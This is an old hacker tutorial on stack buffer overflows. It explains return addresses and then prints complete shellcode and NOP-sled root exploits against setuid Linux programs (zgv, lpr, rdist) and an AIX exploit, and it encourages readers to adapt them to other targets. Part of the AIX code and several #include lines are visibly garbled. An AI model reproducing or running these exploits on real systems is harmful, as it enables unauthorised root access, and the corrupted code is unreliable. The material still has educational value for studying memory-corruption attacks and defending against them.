by nebunu o Credits: Credits to G. Guninsky and Mixter.I picked some Linux examples from them. o Disclaimer: English is not my native language,if you dont understand any of this,I'm deeply sorry. Keep flames for root@localhost,if you dont like this file dont keep it. o Getting Started : What's a buffer overflow anyway? Let's see the following example: #include main(){ char s[3]; scanf("%s",&s); printf("%s",s); } If you execute this little program,you are prompted to introduce a string. If you introduce less then 3 characters,the string will be displayed and the program ends,otherwise if the string is more then 3 characters the program ends with an error message like 'core dumped'. Why? Because the string is bigger than the memory space allocated(char s[3]). This is the basic idea about buffer overflow. Now it's time to learn a few asm tricks :) Before a program starts the kernel allocates memory space for it. The memory space allocated for a process is splitted in 3: code segment - asm instructions which are to be executed by the processor data segment - data is kept here stack segment - space allocated for variables(like char s[3] in our example) A procedure or a function is a piece of code from the program,which once called,performs a task the programmer wanted and then returns to the previous point(thread of execution). Let's have a closer look,shall we? 0x8054321 pushl $0x0 0x8054322 call $0x80543a0 0x8054327 ret 0x8054328 leave ...... 0x80543a0 popl %eax 0x80543a1 addl $0x1337,%eax 0x80543a4 ret The 0 variable is pushed into the stack (pushl $0x0),a function is called from the specified memory adress and executed (call $0x80543a0),then returns (ret).After that we see how function is handled.The function gets its variables from the stack (popl %eax) and returns (ret). We dont see here the fact that function main() pushes register EBP on the stack each time a function is called.EBP is restored after each execution.The return adress from function is 0x8054327. The restored EBP register is 32 bits=4 bytes. Now let's exploit a small program.I was too lazy to dissasamble one for myself,so i picked an example from the Net. void lame () { char small[30]; gets (small); printf("%s\n", small); } int main() { lame (); } Compile it: #cc -ggdb test.c -o test and then dissassamble it: #gdb test 0x80484c8
: pushl %ebp -push variables into the stack 0x80484c9 : movl %esp,%ebp -saves them in ESP 0x80484cb : call 0x80484a0 -calles function lame() 0x80484d0 : leave -dont forget this 0x80484d1 : ret -return adress 0x80484a0 pushl %ebp -variables of function lame() 0x80484a1 : movl %esp,%ebp -saves them in ESP 0x80484a3 : subl $0x20,%esp -the stack is enlarged(x20=32) 0x80484a6 : leal 0xffffffe0(%ebp),%eax 0x80484a9 : pushl %eax 0x80484aa : call 0x80483ec -calles gets() 0x80484af : addl $0x4,%esp 0x80484b2 : leal 0xffffffe0(%ebp),%eax 0x80484b5 : pushl %eax 0x80484b6 : pushl $0x804852c 0x80484bb : call 0x80483dc -calls printf() 0x80484c0 : addl $0x8,%esp -return address, 0x80484d0 0x80484c3 : leave 0x80484c4 : ret [0x80484d0 : leave] Now lets run the program normally,let's see how it behaves: #test aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -30 charactrs,my input aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -prints the input on the screen Now let's overflow the stack and type 34 characters: #test aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -34 charactrs,my input aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault (core dumped) The 'legal' memory size has been filled,let's see what happened: # gdb test core (gdb) info registers eax: 0x24 ecx: 0x804852f edx: 0x1 ebx: 0x11a3c8 esp: 0xbffffdb8 ebp: 0x616161 61 is hex representation for 'a'.So i overflowed the stack with 4 a's and the return adress is now 0x616161 ,which caused an error.The originally return adress was 0x80484cb.Remember that EBP is 4 bytes.Let's exploit the program to return to lame(). main() { int i=0; char buf[44]; for (i=0;i<=40;i+=4) *(long *) &buf[i] = 0x80484cb; puts(buf); } # (ret;cat)|./blah The program must go trough the function 2 times because instead to return to 0x80484d0 after the function lame() finishes its execution it returns to itself,0x80484cb.You see how you can make a program to point to any memory point if you know the exact adress. Now the exploit: A shellcode is a sequence of assembler commands, written on the stack. Then the return adress is changed to return to the stack. The shellcode is executed right on the stack.This is the standard shellcode for linux, it is posted all over the net. global code_start global code_end .data code_start: jmp 0x17 popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) my_execve: movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx xorl %edx,%edx int $0x80 call -0x1c .string "/bin/shX" code_end: This code can be easily converted into a hex buffer using bin2c.pl or other tool taken from a kiddie script site :).The hex buffer is: "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58"; Looks familiar to me,because it can be seen in all linux overflow based exploits :) Now lets choose a program whick has 's' set and exploit it: #include #include #include static char shellcode[]= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58"; int main() { char buffer[1032]; long retaddr = 0xbffff574; /*return adress*/ int i; fprintf(stderr,"using address 0x%lx\n",retaddr); for (i=0;i<1032;i+=4) *(long *)&buffer[i] = retaddr; /*fills the buffer with return adress*/ for (i=0;i<(1032-strlen(shellcode)-100);i++) /*fills the buffer with NOPS*/ *(buffer+i) = 0x90; memcpy(buffer+i,shellcode,strlen(shellcode)); /*shellcode is copyied after the end of NOPS*/ setenv("HOME", buffer, 1) /*sets the HOME variable*/ execlp("zgv","zgv",NULL); /*execute*/ return 0; } ----------------------------------------------------------------------------------- This is an example I picked from the net concerning zgv but it works for most programs with 's' set.Sometimes you dont know the exact start of shellcode in memory,so it must be bruteforced.Now,I'm sure a newbie would like to ask alot of questions,like: QUESTION: How did you find out the return adress as 0xbffff574 ? ANSWER: I set home variable like this: # export HOME=`perl -e 'printf "a" x 2000'` # zgv and then I dissasambled /usr/bin/zgv Segmentation fault (core dumped) # gdb /usr/bin/zgv core #0 0x61616161 in ?? () (gdb) info register esp esp: 0xbffff574 -1073744524 So,0xbffff574 is the return adress. I took this example from Mixter tutorial and I tried it on my RedHat distribution. QUESTION: Did you fill the buffer size with NOPS and then with return adress? I dont understand anything!!! ANSWER: Big mistake,dude! There is a huge difference between THE ADRESS and the THE CONTENT. This is the way you must interpret the code: for (i=0;i<1032;i+=4) *(long *)&buffer[i] = retaddr; for (i=0;i<(1032-strlen(shellcode)-100);i++) *(buffer+i) = 0x90; For i=0 to i=1032-strlen(shellcode)-99 ,THE ADRESS is &buffer[i]=0xbffff574 and THE CONTENT is NOP. QUESTION: Why the buffer must be filled with NOPs? ANSWER: The function will return before our shellcode,then cpu will interpret NOPs and then it meets JMP command,CALL command,it will jump back to popl in order to puts the variables in the stack and then and run code on the stack. As I said before,this program written by Mixter for /usr/bin/zgv can easily be modified to work with other programs with setuid set.You have to know buffer size,return adress and start of the shellcode in memory.If you are too lazy to dissassemble the program in order to find out buffer size from %esp and to calculate exact start of the shellcode,write a script that brute forces them.After this explanation you'll understand perfectly the next example,I hope :) ----------------------------------------------------------------------------------- #include #include #include #define DEFAULT_OFFSET 50 /* offset */ #define BUFFER_SIZE 1023 /* buffer size */ long get_esp(void) { __asm__("movl %esp,%eax\n"); /* I'll explain it later */ } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; int i; buff = malloc(4096); /* memory is allocated for the buffer */ if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* puts 4096 bytes in ptr */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); /* fills the buffer with NOPS */ ptr += BUFFER_SIZE-strlen(execshell); /* space left in buffer for shellcode */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; /* fills the space left with shellcode */ addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; /* gets the start adress for the shellcode */ ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/lpr", "lpr", "-P", buff, NULL); /* exec the program */ } ----------------------------------------------------------------------------------- For a better understanding of this we must return to our first program. pushl %ebp movl %esp,%ebp subl $0x20,%esp leal 0xffffffe0(%ebp),%eax pushl %eax call So,first time EBP is pushed into the stack,then the content of EBP is copyed into ESP,0x20=32 bytes are added to ESP to enlarge the stack,then everything is copyed into EAX and pushed into the stack.In our program we see a function: long get_esp(void) { __asm__("movl %esp,%eax\n"); } Then we see a sequence: *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; ptr = (char *)addr_ptr; I'm sure you already figure it out that this is the return adress for our shellcode.It's easy. The default offset is 50 but as i said before sometimes it have to be bruteforced. Here is an example: ----------------------------------------------------------------------------------- #include #include #include #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 256 long get_esp(void) { __asm__("movl %esp,%eax\n"); } main(int argc, char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0" "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50" "\xeb\x18" "\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02" "\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04"; int i; int ofs = DEFAULT_OFFSET; if(argc == 2) ofs = atoi(argv[1]); /* print the offset given as argument */ printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs); buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL); } ----------------------------------------------------------------------------------- Now,let's see an example concerning AIX 3.2 and 4.1/4.2 written by Georgi Guninsky: ----------------------------------------------------------------------------------- #include #include #include char prog[100]="/bin/host"; char prog2[30]="host"; void buggy(char *s){ char a[4]; unsigned int junk[150]; gethostbyname();} void sh2(){ int junk[0x100]; int s[2]; int toc; int ctr; junk[0x100]=0x11; toc=0xf0192c48; ctr=0xd0024c0c; s[0]=0x2f62696e; s[1]=0x2f736800; execv(&s,0); } main(int argc,char **argv){ unsigned int junk[300]; unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0}; #define MAXBUF 600 unsigned int buf[MAXBUF]; unsigned int i,nop,mn; int max; unsigned int toc; unsigned int eco; unsigned int *pt; int carry1=0; int carry2=0; char *t; pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; if (argc>1) max=atoi(argv[1]); if(max==0) max=78; mn=40; if(argc>2) mn=atoi(argv[2]); if(argc>3) { strncpy(prog,argv[3],100); t=strrchr(prog,'/'); if(t) strncpy(prog2,++t,30); } if(argc>4) strncpy(prog2,argv[4],30); if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) { puts("Bad parameters");exit(1);} #define OO 7 *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code + OO)=carry1+(unsigned short) ((toc >> 16) & 0x0000ffff); *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code + OO + 6 )=carry2+(unsigned short) ((eco >> 16) & 0x0000ffff); #ifndef QUIET puts("Test AIX!"); puts("Discovered and coded by Georgi G."); printf("TOC:%0x,CTR:%0x\n",toc,eco); printf("\n%p",&buf[nop]); #endif junk[50]=1; for(nop=0;nop buf[nop]=0x4ffffb82; strcpy((char*)&buf[nop],(char*)&code); i=nop+strlen( (char*) &code)/4-1; while(i++test type a string:aaaaaaaaaaaaaaaaaaaaaaaa Now,I receive an error message and I click on <> button: PROJECT 1 caused an invalid page fault in module at 0000:61616161. Registers: EAX=00000001 CS=015f EIP=61616161 EFLGS=00010202 EBX=00530000 SS=0167 ESP=0253fdf0 EBP=61616161 ECX=0253fdf9 DS=0167 ESI=8155ce90 FS=21cf EDX=00000004 ES=0167 EDI=00000000 GS=0000 Bytes at CS:EIP: So, 61 is the hex representation for 'a'.We see that EBP register contains the string variable 61616161=aaaa and the program stopped at 0000:61616161 because of my overflow.In order to see better the similitudes with the first program,I dissassemble it,using: c:/>cc1 test.c ------------------------------------------------------------------------- .file "test.c" gcc2_compiled.: ___gnu_compiled_c: .def ___main; .scl 2; .type 32; .endef .text LC0: .ascii "type a string:\0" LC1: .ascii "%s\0" .align 4 .globl _main .def _main; .scl 2; .type 32; .endef _main: pushl %ebp -pushes the EBP into stack movl %esp,%ebp -saves it subl $24,%esp -enlarge stack call ___main -calls main() function addl $-12,%esp pushl $LC0 -string "type a string" call _printf -prints it addl $16,%esp addl $-8,%esp leal -16(%ebp),%eax pushl %eax pushl $LC1 -the variable is declared as "string" call _scanf -reads it addl $16,%esp -convert it L2: leave ret -that's all dude :) .def _scanf; .scl 2; .type 32; .endef .def _printf; .scl 2; .type 32; .endef -------------------------------------------------------------------------- The variables are pushed into the stack (pushl %ebp),then the stack is enlarged (subl $24,%esp) function main() is called ( call ___main),then variables("type a string:\0") from function printf() are pushed into the stack (pushl $LC0),the same thing happents with scanf() function and finally a RET follows (L2).But something is missing here.The return adress.Well,in order to find it out we must dissassemble the program using W32Dasm,Softice or Hiev.After that, everything is the same.I gave this example to show that any program can be exploited,no matter what platform it is run under. Another example,just to get use to this asm instructions: -------------------------------------------------------------------------- #include void pr1(){ printf("first proc"); } void pr2(){ printf("second proc"); } main(){ int i; printf("Enter a number:");scanf("%i",&i); if(i==1) pr1(); else pr2();} -------------------------------------------------------------------------- Now asm version: -------------------------------------------------------------------------- .file "test.c" gcc2_compiled.: ___gnu_compiled_c: .text LC0: .ascii "first proc\0" .align 4 .globl _pr1 .def _pr1; .scl 2; .type 32; .endef _pr1: -procedure pr1() pushl %ebp -variables into the stack movl %esp,%ebp -save them in ESP subl $8,%esp -enlarge the stack addl $-12,%esp -loads the adress for "%s" pushl $LC0 -push the variable for printf() call _printf -calls printf() addl $16,%esp L2: leave ret -return adress LC1: .ascii "second proc\0" .align 4 .globl _pr2 .def _pr2; .scl 2; .type 32; .endef _pr2: -same thing as before pushl %ebp movl %esp,%ebp subl $8,%esp addl $-12,%esp pushl $LC1 call _printf addl $16,%esp L3: leave ret .def ___main; .scl 2; .type 32; .endef LC2: .ascii "Enter a number:\0" LC3: .ascii "%i\0" .align 4 .globl _main .def _main; .scl 2; .type 32; .endef _main: -the main() function pushl %ebp -the stack movl %esp,%ebp -the stack subl $24,%esp -enlarge it call ___main -calls main() addl $-12,%esp pushl $LC2 -string "enter a number" call _printf -prints it to display addl $16,%esp addl $-8,%esp leal -4(%ebp),%eax pushl %eax pushl $LC3 -the variable is declared as int call _scanf -reads it in EBP addl $16,%esp cmpl $1,-4(%ebp) -compares it to "1" jne L5 -if not equal call _pr1 -call pr1() jmp L6 -else .p2align 4,,7 L5: call _pr2 call pr2() L6: L4: leave ret -return from pr2() or from pr1() .def _scanf; .scl 2; .type 32; .endef .def _printf; .scl 2; .type 32; .endef -------------------------------------------------------------------------- After alot of practice you'll be able to write your own shellcodes and exploit programs.If you dont,at least you know how this thing works and you'll be able to modify the exploits from the net to suits your own needs because most of them dont works as they are,they must be modified a little to make them work. Have fun, nebunu